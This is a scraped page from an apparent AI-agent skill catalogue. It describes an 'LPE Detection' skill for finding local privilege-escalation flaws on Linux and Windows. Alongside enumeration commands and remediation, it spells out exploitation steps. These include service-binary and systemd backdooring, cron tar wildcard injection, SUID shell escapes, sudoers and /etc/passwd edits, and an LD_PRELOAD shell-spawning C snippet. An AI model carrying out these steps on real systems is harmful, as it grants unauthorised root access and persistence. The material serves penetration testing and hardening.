一键导入
lpe-detection
Local Privilege Escalation vulnerability detection — identify kernel exploits, service abuse, SUID/GUID, path hijacking, and cron job vulnerabilities
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
菜单
Local Privilege Escalation vulnerability detection — identify kernel exploits, service abuse, SUID/GUID, path hijacking, and cron job vulnerabilities
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
Next-generation 0day discovery & exploit development — comprehensive code analysis, allocator vulnerabilities, compiler-induced bugs, SIMD/vector issues, JIT vulnerabilities, custom allocator attacks, ASLR/kASLR bypass, UAF, OOB, RCE with exploit generation, privilege escalation, backdoor establishment
Next-generation 0day discovery — novel overflow patterns, allocator exploits, compiler-induced bugs, bounds-check bypass, SIMD/vector overflows, JIT vulns, custom allocator attacks, ASLR/kASLR bypass, UAF, OOB, RCE with weaponized exploit generation, privilege escalation, backdoor establishment
Container escape vulnerability discovery — Docker, Kubernetes, container runtime exploitation, namespace isolation bypass, privilege escalation through container boundaries
Crypto implementation analysis — weak algorithms, side-channels, key management flaws, padding oracles, random generation failures, implementation bugs
IoT device security analysis — firmware extraction, RTOS exploits, hardware interfaces, protocol vulnerabilities, side-channel attacks, update mechanism exploitation
Industrial control system security — Modbus, DNP3, IEC 104, Ethernet/IP, PLC exploitation, control logic manipulation, sensor/actuator attacks, ICS protocol analysis
| name | LPE Detection |
| description | Local Privilege Escalation vulnerability detection — identify kernel exploits, service abuse, SUID/GUID, path hijacking, and cron job vulnerabilities |
| tags | ["lpe","privilege-escalation","kernel","service","security","local-exploit"] |
Task: Local Privilege Escalation (LPE) Vulnerability Detection. You identify and analyze vulnerabilities that allow elevation from user to administrator/root privileges.
Systematic LPE vulnerability hunting. Identify privilege escalation vectors through service misconfiguration, kernel vulnerabilities, permission issues, and insecure file operations.
Kernel Driver Analysis
IRP_MJ_DEVICE_CONTROL, DispatchDeviceControlCommon Kernel LPE Vectors
Windows Kernel LPE:
- IOCTL handler vulnerabilities
- Arbitrary memory read/write
- Token manipulation (steal SYSTEM token)
- Pool overflow in kernel
- Stack overflow in kernel handlers
- Registry key manipulation in kernel context
Linux Kernel LPE:
- Dirty Cow (CVE-2016-5195): Race condition in copy-on-write
- Dirty Pipe (CVE-2022-0847): Pipe buffer overflow
- eBPF abuse (CVE-2018-17182): Arbitrary read/write
- Netfilter abuse (CVE-2021-3763): Bypass SELinux
- Module loading: Load malicious kernel module
Detection Steps
search_functionsWindows Service Enumeration
OpenSCManager, CreateService, StartServiceWindows Service Exploitation
Technique 1: Unquoted Service Path
Service: "C:\Program Files\MyApp\service.exe"
Windows searches:
1. C:\Program.exe (If exists → Execute as SYSTEM)
2. C:\Program Files\MyApp\service.exe
Technique 2: Writable Service Binary
1. Find service with writable binary (user can modify)
2. Replace binary with malicious payload
3. Start service → Execute as SYSTEM
Technique 3: Writable Service Configuration
1. Find service with changeable config
2. Modify binPath to malicious executable
3. Start service → Execute as SYSTEM
Technique 4: DLL Hijacking via Service
1. Service loads DLL from writable location
2. Place malicious DLL in search path
3. Start service → Load malicious DLL as SYSTEM
Linux Service Exploitation
systemd Service Abuse:
1. Find writable service files: /etc/systemd/system/
2. Modify ExecStart= to execute backdoor
3. Reload daemon: systemctl daemon-reload
4. Start service: systemctl start <service>
Init Script Abuse:
1. Find writable /etc/init.d/ scripts
2. Add backdoor to startup script
3. Reboot or trigger service restart
PATH Manipulation:
1. Service calls system() with relative path
2. Place malicious binary in writable PATH location
3. Trigger service execution
Detection Commands
Windows:
- sc query state= all
- sc qc <servicename> (query config)
- accesschk.exe -wsqc <servicename>
- wmic service get name,pathname,displayname,startmode
Linux:
- systemctl list-units --type=service
- service --status-all
- ls -la /etc/init.d/
- find /etc/systemd/system/ -perm -o+w
SUID/SGID Binary Analysis
setuid(), setgid(), seteuid(), chmod()Common SUID Exploitation Vectors
Shell Escape:
- vim → :!/bin/sh
- less → !sh
- nmap → --interactive → !sh
- find → -exec /bin/sh \;
- awk → BEGIN {system("/bin/sh")}
Shared Library Injection:
1. SUID binary loads library (ldd <binary>)
2. LD_LIBRARY_PATH or rpath manipulation
3. Create malicious .so with __attribute__((constructor))
4. Execute SUID binary → Load library → Get shell
Environment Variable Injection:
- PATH manipulation: system("prog") uses user PATH
- IFS (Internal Field Separator): Split command arguments
- Various environment variables (TZ, etc.)
Symlink Race:
1. Find SUID that writes to file
2. Create symlink to privileged target
3. Win race between check and write
GTFOBins SUID Exploits
Known vulnerable SUID binaries:
- nmap (older versions): --interactive mode
- vim: :!command
- less: !command
- find: -exec command \;
- awk: system() function
- perl: exec() function
- python: os.system() function
- tcpdump: -z flag
- strace: executable parameter
Bypass techniques:
- Quote escaping: '"'"'
- Command chaining: ; && ||
- Variable substitution: ${IFS}
Detection Steps
find / -perm -4000 -type fstrings, readelf, objdumpWindows DLL Search Order
SafeDllSearchMode=1 (default):
1. Application directory
2. System32 directory
3. 16-bit system directory
4. Windows directory
5. Current working directory (CWD)
Hijacking opportunities:
1. Writable application directory
2. DLL missing from System32
3. Relative loading paths
4. CWD in privileged process
Linux Shared Library Loading
Search order:
1. LD_PRELOAD (if set)
2. RPATH/RUNPATH (embedded in binary)
3. LD_LIBRARY_PATH (if set)
4. /etc/ld.so.cache
5. /lib, /usr/lib, etc.
Hijacking opportunities:
1. Writable RPATH: $ORIGIN/../lib
2. Missing library in standard paths
3. dlopen() with relative path
4. Weak library validation
Detection and Enumeration
Windows:
- Process Monitor: Watch DLL loads from writable paths
- autoruns.exe: Check auto-start locations
- List vulnerable unquoted services
Linux:
- readelf -d <binary> | grep RPATH (check RPATH)
- ldd <binary> (show library dependencies)
- strace -e open,openat <binary> (watch library loads)
- strings <binary> | grep -E "(dlopen|LD_LIBRARY)"
Exploitation Techniques
Windows DLL Proxying:
1. Export all legitimate functions (forward to real DLL)
2. Add malicious code in DllMain
3. Place proxy DLL in app directory
4. Trigger application load
Linux LD_PRELOAD:
1. Create malicious .so with constructor function
2. Export LD_PRELOAD=/path/to/malicious.so
3. Run SUID binary → Load library → Execute as owner
Linux RPATH Abuse:
1. Binary has RPATH=$ORIGIN/../lib
2. Place malicious library in relative writable path
3. Execute binary → Load library
Linux Cron Job Analysis
/etc/cron, /var/spool/cron, crontabLinux Cron Exploitation
Vulnerability 1: Writable Cron Script
1. Find script executed by root cron
2. Check permissions: ls -la /etc/cron.d/script.sh
3. If writable: Add backdoor
4. Wait for cron execution
Vulnerability 2: Wildcard Injection
Cron: * * * * * root tar -czf /backup/*.tar.gz /data
Exploit:
touch -- '-checkpoint=1'
touch -- '-checkpoint-action=exec=sh shell.sh'
Creates args: tar -czf /backup/-checkpoint=1.tar.gz ...
Vulnerability 3: PATH Manipulation
Cron: * * * * * root backup.sh
Place malicious backup.sh in writable PATH location
Vulnerability 4: Symlink Race
1. Find cron job that writes to predictable location
2. Create symlink to privileged target
3. Win race condition
Windows Task Scheduler
Enumeration:
- schtasks.exe /query /fo LIST /v
- Get-ScheduledTask (PowerShell)
- AccessChk: check task permissions
Exploitation:
1. Find writable task definitions
2. Modify task action to execute payload
3. Trigger task execution
4. Task runs as specified user (often SYSTEM)
Detection Commands
Linux:
- crontab -l (current user)
- ls -la /etc/cron* /var/spool/cron/
- cat /etc/crontab
- find /etc/cron* -type f -exec ls -la {} \;
Windows:
- schtasks /query /fo LIST /v
- Get-ScheduledTask -TaskPath \*
- powershell "Get-ScheduledTask | select *
Permission Escalation Vectors
Writable /etc/passwd:
1. Add user with UID 0 (root)
2. Remove root password
3. Modify user UID to 0
Writable /etc/shadow:
1. Change root password hash
2. Add passwordless root access
3. Modify user privileges
Writable sudoers:
1. Add user to sudoers without password
2. Add ALL=(ALL) NOPASSWD: ALL
3. Modify sudo rules
Writable init scripts:
1. Add backdoor to startup sequence
2. Modify service startup
3. Trigger reboot or service restart
Linux Capabilities
Enumerate capabilities:
- getcap -r / 2>/dev/null
- capsh --print
Exploitable capabilities:
- CAP_SETUID: Can change UID (privesc)
- CAP_SETGID: Can change GID
- CAP_SYS_ADMIN: System administrator (root equivalent)
- CAP_NET_ADMIN: Network admin (packet manipulation)
- CAP_DAC_OVERRIDE: Bypass file read/write permissions
Example: Binary with CAP_SETUID
= Can execute setuid(0) to become root
Detection and Enumeration
Linux permission checks:
- ls -la /etc/passwd /etc/shadow /etc/sudoers
- find /etc/ -perm -o+w -type f
- find /var/ -perm -o+w -type f
- getcap -r / 2>/dev/null
Windows permission checks:
- icacls.exe (check file/folder permissions)
- accesschk.exe (check access rights)
- whoami /priv (show privileges)
Exploitation Primitives
Kernel LPE:
- Arbitrary read (read kernel memory)
- Arbitrary write (write kernel memory)
- Code execution in kernel context
- Token manipulation (steal system token)
Service LPE:
- Start privileged service
- Modify service configuration
- Hijack service DLL/binary
SUID LPE:
- Execute as file owner
- Load code as owner
- Write to privileged locations
PATH/DLL LPE:
- Load malicious code
- Execute in privileged context
- Hijack legitimate loading
Bypass Techniques
Signature verification bypass:
- Load unsigned drivers (test signing mode)
- Bypass driver signature checks
Permission bypass:
- Take ownership of files
- Modify ACLs/permissions
- Exploit symlink race
Mitigation bypass:
- SMEP/SMAP bypass
- CFG bypass
- KPTI bypass
Kernel Exploit Payloads
Windows Kernel Token Manipulation:
1. Find current process EPROCESS
2. Find System process EPROCESS (PID 4)
3. Copy System Token to current process
4. Spawn cmd.exe as SYSTEM
Linux Kernel Exploit:
- Dirty Cow: /proc/self/mem write
- Dirty Pipe: Splice to pipe buffer overflow
- eBPF: Write to arbitrary kernel memory
Service Exploit Payloads
Windows Service:
- sc config <service> binPath= "C:\malicious.exe"
- sc start <service>
Linux systemd:
- [Service]
- ExecStart=/tmp/backdoor.sh
Windows unquoted path:
- Create "C:\Program.exe" with backdoor
SUID Exploit Payloads
LD_PRELOAD:
#include <stdlib.h>
__attribute__((constructor))
void backdoor() {
system("/bin/sh -i");
}
Vim shell escape:
:w !chmod +x /tmp/shell
:!/tmp/shell
[LPE VULNERABILITY] Type at 0xADDRESS
Type: Kernel / Service / SUID / PATH / Cron
Severity: CRITICAL (SYSTEM/root access)
Impact: Complete system compromise, persistence, data access
[VECTOR]
Method: Kernel exploit / Service hijacking / SUID abuse
Privilege Level: User → Administrator/root
Exploitability: EXPLOITABLE / Complex / Requires conditions
[EXPLOITATION]
Technique: Token manipulation / Service start / SUID execution
Payload: Kernel code / DLL hijacking / SUID shell
Confirmation: Shell with elevated privileges
[REMEDIATION]
1. Install security patches
2. Remove unnecessary SUID bits
3. Fix service permissions
4. Update vulnerable drivers
5. Implement proper privilege checks
Windows Kernel LPE:
Linux Kernel LPE:
Service/LPE:
SUID/Path: